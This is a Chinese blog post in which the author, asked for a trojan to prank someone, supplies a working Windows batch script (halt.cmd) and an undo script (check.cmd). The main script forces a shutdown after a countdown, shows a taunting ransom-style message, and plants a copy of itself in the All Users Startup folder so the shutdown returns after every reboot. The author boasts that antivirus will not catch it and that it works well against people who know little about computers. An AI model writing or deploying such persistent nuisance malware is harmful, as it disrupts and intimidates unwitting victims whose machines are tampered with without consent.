今天一个mm让我给她写个木马,整人用,我说这哪是一时半会儿能搞定的,况且我手上连c的编译器都没有。于是想到写个把人家机器关了的东西满足她吧。
关机程序halt.cmd:
@echo off
::-c后面的是要显示的提示信息,-t后面的是倒计时的时间,单位为秒,按你自己想要的修改吧!
set c="恭喜你!你的电脑已经中了3600秒逍遥散,下面这个时间倒计时完毕后它就挂了。重启也不管用哦,不信你试试,想救你的电脑兄弟就管我要解药吧。"
set t=3600
echo @echo off>>"C:/Documents and Settings/All Users/「开始」菜单/程序/启动/autorun.cmd"
echo set c=%c%>>"C:/Documents and Settings/All Users/「开始」菜单/程序/启动/autorun.cmd"
echo set t=%t%>>"C:/Documents and Settings/All Users/「开始」菜单/程序/启动/autorun.cmd"
echo shutdown -s -c %%c%% -t %%t%%>>"C:/Documents and Settings/All Users/「开始」菜单/程序/启动/autorun.cmd"
shutdown -s -c %c% -t %t%
解除程序check.cmd
@echo off
shutdown -a
del "C:/Documents and Settings/All Users/「开始」菜单/程序/启动/autorun.cmd"
中了以后就是下面的效果:
原理很简单,就是调用shutdown命令实现定时自动关机,并且用echo命令将代码重新复制到windows的启动组里面,重启计算机后会自动执行这个东西。如此一来,计算机就算重启也还会执行,他删掉这个文件也不管用,计算机会总是处于定时关机的状态,并且这个东西是不可能被任何杀毒软件杀掉的,因为它不属于病毒。
一个简单的恶作剧程序,不过用来害一些没有计算机基础的人绝对管用。中招后只需点再运行一下check.cmd就可以将状态解除并自动删除掉位于启动组里面的autorun.cmd文件。不要把倒记时时间改的太短,否则人家连点解除程序的时间都没有,就麻烦了。